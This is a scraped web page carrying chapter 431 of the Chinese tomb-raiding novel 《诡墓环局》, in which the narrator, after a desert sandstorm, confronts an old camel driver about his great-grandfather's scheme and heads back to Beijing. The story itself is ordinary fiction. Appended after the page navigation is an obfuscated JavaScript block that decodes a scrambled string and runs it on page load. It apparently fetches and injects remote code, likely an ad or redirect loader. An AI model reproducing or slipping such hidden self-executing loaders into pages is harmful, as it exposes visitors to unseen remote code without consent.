返回

诡墓环局

首页
关灯
护眼
字体:
第四百三十一章:驼铃
(手机请访问 m.duxs8.com); 醒来便看到一条毛绒绒的骆驼腿,耳边是清脆的驼铃声,是阿力提老人的骆驼,有了这个意识,我翻身坐了起来。

穆勒见我醒了过来,露出一口白牙:“宝爷,您终于醒了,如果再不醒,我就得联系当地的医院了!”

看到穆勒的脸我还有些不适应。

我揉了揉眉心,向后看去,发现东子还没有醒,而三秃子哼哼唧唧,一副还没清醒的模样,不过两个人并没有什么大碍,都只是些皮外伤,不要紧。

看到这,我松了一口气。

穆勒崇拜地看着我:“宝爷,您可真厉害。”

我厉害,这话怎么说?

穆勒指了指身后的沙峰,解释:“之前那场沙暴可是百年难遇,不管人畜被卷进去,都免不了被扯成碎片,可您却完好无损而且还将东爷和三爷扛了出来,厉害,真是厉害。”

我将东子和三秃子扛了出来?

这不是瞎扯淡吗,当时我自顾不暇,怎么可能将这两人扛出来,不说其他,就是东子,我也扛不起来。

我这心里迷惑。

可穆勒扬起笑容,继续说:“宝爷,您是没看见您当时的样子,简直比……”

“胡说!”

阿力提老人不悦地瞪了穆勒一眼。

“胡说?”穆勒不高兴:“阿力提大叔,那场面不仅我看见了,您也看见了,您怎么能说我胡说,况且我觉得宝爷和之前不一样,感觉……”

阿力提老人抽了鞭子:“闭嘴。”

穆勒见老人动了气,也没敢继续说下去。

我心里奇怪,觉得老人这个举动有些反常,而且我好奇刚才穆勒说的话,这个念头在脑海盘旋,我便催动着身下的骆驼,跟阿力提老人同行。

“老爷子,您怎么救出我们的?”

“当然是主引导的。”

这老爷子又和我打迷糊眼。

我知道直面问肯定问不出来,所以从骆驼下手,我记得当时我昏迷前听到了驼铃声,而且声音很近,如果照这么推理,老人应该背着我们隐瞒了什么。

老人瞥了我一眼:“怎么,不相信?”

“不是不相信,而是这事太玄乎。”我看向老人,继续问:“老爷子,有些事你不说并不代表没人知道,况且这死亡之泊的恐怖传言到底是真是假,谁这不知道,如果我说那些所谓的恐怖现象是有人故意做出来,您觉得有可能吗?”

老人脸色一变。

看到这,我心里了然。

老人叹了一口气,黝黑的脸泛起一抹无奈地笑:“你小子太精,看来这事已经骗不过你了,不过这事我做的不后悔,那帮人闯了禁地,他们该死。”

“什么时候开始的?”

“五十年前。”

我心里一惊:“是我太爷爷下的命令?”

“你……”

阿力提老人愣了愣,不明白我怎么会猜到我太爷爷身上,这么多年来,他在这里守了几十个春秋,北京城,南江,甚至是西北的人都没觉察出他的身份,我又是怎么猜到的。

我坐直了身子,指了指那驼铃。

老人不解:“驼铃?”

“是驼铃。”我笑了笑解释:“这驼铃表面看没什么,可仔细看就能琢磨出门道,当年我太爷爷让人铸了两枚铜铃,并在铜铃的内侧刻了马家特有的花纹,而且里面的铜球放了两个鬼灵虫,一旦闻到我们马家人的气味,两只虫子就会相撞,从而发出清脆的铃声,那天您牵着骆驼过来,那拴在骆驼上的驼铃响了起来,所以那天您就确定了我的身份,这也是后面几次您倾尽全力救我的原因。”

老人笑而不语。

我深吸了一口气继续说:“那天,在库玛盆地,您明明知道有人,可您还是装睡,一是因为那人认识您,二是您想借我的手除掉他。”

“果然瞒不过你。”

老人摸了摸骆驼的脖子:“这些年马家选择隐匿在所有人身后,只是为了找出几百年前的叛徒,可找了好多次,那个叛徒就是找不出来。老太爷没办法,只能用女王亡陵做诱饵,引出那个叛徒,原以为要成功了,可后来出了差错,那人跑了,计划落空,而且还搭上了好几辈人,那件事之后,老太爷的时间到了,他没办法再继续下去,便将自己的计划交给我,让我找机会交给马家后人。”

“这就是您一直试探我的原因?”

老人点头:“因为关系重大,我不得不慎重,不过你也没让我失望,确实达到了我的要求,等到了地方,我自然会将老太爷的计划交给你……”

“我不要。”

老人错愕:“为什么?”

我压下心里的怒气,看向他说:“那是你们的事,和我没关系,我不需要为你们的错误承担责任,再者,我要做什么,不需要别人指手画脚,就算是太爷爷也不成。”

“我们是为你好……”

“为我好?”我忍不住笑了:“扯我的朋友下水是为我好?让不相干的人入棋局是为我好?更甚至将黑手伸进我最亲最敬重的人身上也是为了我好?老爷子,这都是为我好吗?”

老人愣住了。

好一会儿,他才看向我解释道:“做大事者不拘小节,况且他们也是咎由自取,我不觉得自己做错了。”

“呵呵呵!”

我心里被拧紧:“在你们眼里,是不是只有所谓的计划,责任,人命,感情都不重要是不是?”

“我别无选择。”

老人别过脸,闷声道。

别无选择,好一个别无选择。

过了没一会儿。

东子和三秃子都醒了。

东子记得昏迷之前我被沙暴卷进去的事,所以一睁眼就喊我,当看到我安然无恙时,这才将心放在了肚子里。

三秃子看到穆勒,便开始倒苦水。

穆勒淡淡瞥了他一眼,不安慰也不反驳,三秃子心里不得劲,觉得自己的面子被抓了,便大声指责穆勒工作不用心,并扬言要扣穆勒的工资。

东子看不惯三秃子这副小人嘴脸,一脚踹了过去,三秃子没防备,被踹下了骆驼,抱着腿鬼哭狼嚎:“断了断了,腿断了……”

“再嚎一句试试?”

东子扬起鞭子,作势要抽。

三秃子立马爬了起来,上了骆驼,因为怕东子抽自己,所以这一路三秃子都安安分分,并没有作妖。

在沙漠里走了三天,终于看到了熟悉的绿色,我回头看了一眼,发现那沙峰已经看不真切了,东子也看着那沙峰,忍不住感慨道:“我们回来了。”

是啊,我们回来了。

可那些人却回不来了。

三秃子老远就看到自己的人,那帮人也看到了我们,一个个放下手里的东西,飞扑过来,其中一个人高兴道:“三爷,您还活着……”

“放屁,三爷当然还活着。”另一个人打了这个人的头,然后看向三秃子:“三爷,您怎么去这么久,要不是我压着他们,这帮小子早他妈跑回北京了。”

“王哥,要跑回北京是您……”

“闭嘴。”

三秃子大难不死,也不计较这些,下了骆驼,踹了两脚这些人,便豪气道:“你们能留下来,那就说明对三爷我还有点情分,三爷我呢也不亏待你们,等回北京,我给你们哥几个加钱……”

“真的假的?”

王哥有些怀疑。

这也不能怪王哥怀疑,三秃子每次都是光打雷不下雨,屁话说了一通,可每次他们都见加一个子。

三秃子不悦:“不信啊,那我就不加……”

“老板别介,我们信我们信,只要您给我们加钱,就算让我们上刀山下火海我们也不带眨眼的。”王哥说得认真。

可三秃子未必信。

经过这一遭,三秃子算是看透了人心,自然对身边这几个也没了以往的信任,他现在就想回北京好好休整一番,接下来认认真真倒腾他的外贸公司,再也不沾这事。

王哥知道老板是真加钱,高兴地合不拢嘴,穆勒淡淡瞥了他们一眼,眼神轻蔑,怪不得他以前没看出三秃子背地里的行径,原来是这帮人打的好掩护。

过了瞎子河。

所有人都回到了塔布尔。

艾图看到我们回来了,赶紧上扎鲁上饭,我和东子直奔厨房,舀了两大盆水就往嘴里灌,在沙漠里都渴出毛病了,这一见水就想喝上几口。

喝够了,我这才放下盆。

扎鲁将烤包子和羊肉饭端了出去,那喷香的饭引得我们肚子里咕咕乱叫,东子早已按耐不住,冲出去拿起一个烤包子就塞嘴里,三两下便进了肚子。

其他人也饿极了,抓起包子就吃了起来。

我吃了两个烤包子,一碗羊肉饭,打着饱隔坐在旁边,阿力提老人喂了骆驼便走了进来,拿了个包子咬了两口,便走到我旁边。

“一会你跟我去趟我家。”

“不去。”

用脚趾头都能想到他要做什么。

老人压下火气:“小子,别和我置气……”

“哪敢!”

我喝了口奶酒。

老人瞪眼,一巴掌呼在我脑门上:“你小子嫌这事牵扯的人还少是不是,我告诉你,你去也得去,不去也得去,这事你非做不可……”

“我可以答应您去做,可您能不能告诉我那个逃到藏北的蛇人到底在哪,我的朋友和蛇人有没有联系,这联系是什么?”我盯着老人的眼睛,一连问出了我积攒在心里的疑问。

老人脸色铁青:“你和我讲条件?”

“彼此彼此。”

既然这件事从一开始就是算计,那我不得讨点彩头,再说了,马家和这个逃脱的蛇人有着千丝万缕的关系,我不了解清楚,怎么抓背后的人,又怎么完成马家祖先遗留下来的任务。

老人气得不轻,好半天没有理我。

我喝着奶酒,耐心地等着老人帮我解惑,毕竟这事着急的可不是我,我又凭什么低头让步?

好一会儿。

老人才瞪了我一眼,在我手心写了两个字,我不解地看着他,不明白他这两个字到底包含了什么意思。

老人夺过我手里的酒,拉着我出了门。

过了好一会儿,我回来。

东子问我去哪了,我说去外面转了转,东子也没有怀疑,下午一点多,我们跟着三秃子的车队回北京。

临走的时候,老人将驼铃交给我。

我拿着驼铃思绪万千。

一个小时后。

车子离开塔布尔。

此时沙漠已经离得很远,那沙峰只能看到一个尖儿,而周围的一切都变得模糊起来,一阵阵疾风夹杂着沙粒扑面而来,我看了看身后一望无际的沙漠,心猛地颤抖了一下。

结束了吗?

我不知道,也不想知道。

刘川,我爸,还有死在这个套里的所有人,他们都做了这个局里的牺牲品,而我却要回去理所应当的享受着这种所有人用命换来的安宁。

呵,理所应当?想和更多志同道合的人一起聊《诡墓环局》,微信关注“优读文学 ”看小说,聊人生,寻知己~

上一章 目录 下一章

(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();